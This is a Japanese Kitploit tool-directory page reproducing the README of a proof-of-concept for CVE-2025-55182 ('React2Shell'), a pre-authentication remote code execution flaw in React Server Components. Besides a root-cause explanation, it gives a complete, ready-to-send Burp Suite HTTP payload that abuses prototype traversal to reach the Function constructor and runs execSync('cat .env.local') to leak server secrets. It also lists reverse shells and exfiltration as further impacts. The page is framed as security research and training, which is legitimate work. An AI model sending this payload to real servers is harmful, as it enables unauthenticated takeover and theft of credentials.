Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
poc-cve-2025-55182 — このリポジトリには、CVE-2025-55182 の POC が含まれています。これは、React Server Components(別名 React2Shell)に影響を与える、重大な(CVSS スコア 10.0)事前認証リモートコード実行脆弱性です。 | Kitploit
ツール/GitHubGitHub/koadt/poc-cve-2025-55182
動的分析 (サンドボックス)脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育ペイロード開発ラボと実践
GitHubkoadt/poc-cve-2025-55182

poc-cve-2025-55182

1535ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

このリポジトリには、CVE-2025-55182 の POC が含まれています。これは、React Server Components(別名 React2Shell)に影響を与える、重大な(CVSS スコア 10.0)事前認証リモートコード実行脆弱性です。

リポジトリを見るウェブサイト

CVE-2025-55182 (React2Shell) - 概念実証

⚠️ 警告: このリポジトリは教育およびセキュリティ研究目的のみです。所有していない、または明示的なテスト許可を得ていないシステムに対してこのエクスプロイトを使用しないでください。

概要

このリポジトリには、React Server Componentsに影響を与える重大な事前認証リモートコード実行脆弱性である CVE-2025-55182 の概念実証デモが含まれています。

CVSSスコア: 10.0 (クリティカル)

影響を受けるバージョン:

  • React Server Components 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • パッケージ: react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack

脆弱性の概要

CVE-2025-55182 は、React Server Components の Flight プロトコル実装における安全でないデシリアライゼーションの脆弱性です。この脆弱性により、認証されていない攻撃者が、プロトタイプチェーンの走査と安全でないプロパティアクセスパターンを悪用する悪意のあるペイロードを細工することで、サーバー上で任意の JavaScript コードを実行できます。

根本原因

この脆弱性は、React Server Components が Flight プロトコルのペイロードをデシリアライズする方法に起因します。モジュール参照を処理する際、コードはブラケット記法を使用してプロパティにアクセスします (moduleExports[metadata[2]])。これにより JavaScript のプロトタイプチェーン全体が走査されます。そのため、攻撃者は明示的にエクスポートされていないプロパティ、特に constructor プロパティを参照でき、これによりグローバルな Function コンストラクタへのアクセスが可能になります。

プロトタイプ汚染の手法と React の内部チャンク処理メカニズムを組み合わせることで、攻撃者は最終的に Function コンストラクタを介して任意のコードを実行するペイロードを構築できます。

前提条件

  • Burp Suite Community または Professional (または任意の HTTP プロキシ/クライアント)
  • 脆弱なバージョンの React.js または Next.js

セットアップ手順

ステップ1: 脆弱なプロジェクトを作成

脆弱な React Server Components を含むバージョンを使用して新しいプロジェクトを作成します:

root@kitploit:~
npx [email protected] poc-react2shell
cd poc-react2shell

または、このリポジトリを使用します。

ステップ2: テスト環境ファイルを作成

プロジェクトルートに .env.local ファイルを作成し、脆弱性の影響を示します:

root@kitploit:~
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX

ステップ3: 開発サーバーを起動

Next.js 開発サーバーを起動します:

root@kitploit:~
npm run dev

サーバーは http://localhost:3000 で起動します。

エクスプロイト手順

ステップ4: 悪意のあるペイロードを送信

  1. Burp Suite で Repeater タブに移動します
  2. ターゲット URL を http://localhost:3000/ に設定します
  3. ペイロード全体をコピーしてリクエストウィンドウに貼り付けます
  4. 送信します
クリックして展開
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

ステップ5: レスポンスを分析

レスポンスには、レスポンス本文に .env.local ファイルの内容が含まれているはずです:

Response

ペイロード

ペイロードは3つのマルチパートフォームフィールドで構成されています:

フィールド0: 以下の内容を含む偽のチャンクオブジェクト:

  • プロトタイプ汚染の参照 ($1:__proto__:then)
  • エクスプロイトをトリガーする Blob 参照 ($B1337)
  • 悪意のある _prefix と _formData.get を含む汚染された _response オブジェクト

フィールド1: フィールド0への参照 ($@0)

フィールド2: 空の配列 ([])

_prefix 内の悪意のあるコードは、Node.js の child_process.execSync を使用して .env.local を読み取り、その結果をエラーダイジェストに埋め込みます。

影響

この脆弱性により、攻撃者は以下が可能になります:

  • サーバー上で任意のコードを実行
  • 機密ファイルの読み取り (環境変数、設定ファイルなど)
  • リバースシェルの確立
  • データの外部流出
  • Node.js プロセスが実行権限を持つ任意の操作

参考資料

  • CVE-2025-55182 の詳細
  • Next.js-RSC-RCE-Scanner-CVE-2025-66478
  • React セキュリティアドバイザリ
  • Facebook セキュリティアドバイザリ
  • CISA 既知の悪用された脆弱性カタログ
  • react2shellcve202555182

実際のシナリオでこの CVE を練習する

ハンズオン CTF 環境で CVE-2025-55182 をエクスプロイトしてみませんか? OSS OopsSec Store をご覧ください。これは攻撃的セキュリティトレーニング用に設計された、意図的に脆弱性を含むラボです。この CVE はフラグの1つとして実装されています!


免責事項

この概念実証は教育目的およびセキュリティ研究のためにのみ提供されています。いかなるシステムでもセキュリティ脆弱性をテストする前に、必ず明示的な書面による許可を得てください。

ツールをダウンロード